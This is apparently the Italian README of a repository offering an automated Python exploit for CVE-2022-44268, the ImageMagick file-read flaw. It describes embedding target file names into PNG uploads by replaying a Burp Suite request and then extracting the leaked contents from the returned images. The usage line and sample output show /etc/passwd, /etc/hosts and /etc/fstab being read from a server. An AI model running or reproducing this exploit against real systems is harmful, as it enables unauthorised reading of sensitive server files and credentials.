jkobierczynski/cve-2022-44268
Script Python automatico che utilizza cve-2022-44268 per aggiungere un valore di profilo con un nome file da una filelist di input in un file di input, aggiornare il caricamento dell'immagine usando un file request.req di input da Burpsuite (già incluso) del caricamento del file, caricando ogni immagine modificata, e scaricare le immagini restituite dall'URL restituito ed estrarre il contenuto del file e inserirlo in una directory di input.
$ ./cve-2022-44268.py
usage: cve-2022-44268.py [-h] base_png filelist request_req output_dir image_output_dir
cve-2022-44268.py: error: the following arguments are required: base_png, filelist, request_req, output_dir, image_output_dir
$ ./cve-2022-44268.py image.png filelist.lst request.req output_dir image_output_dir
Exploiting for file: /etc/passwd
Saved shrunk image to: image_output_dir/etc_passwd_shrunk.png
Saved extracted content to: output_dir/etc_passwd
Exploiting for file: /etc/hosts
Saved shrunk image to: image_output_dir/etc_hosts_shrunk.png
Saved extracted content to: output_dir/etc_hosts
Exploiting for file: /etc/fstab
Saved shrunk image to: image_output_dir/etc_fstab_shrunk.png
Saved extracted content to: output_dir/etc_fstab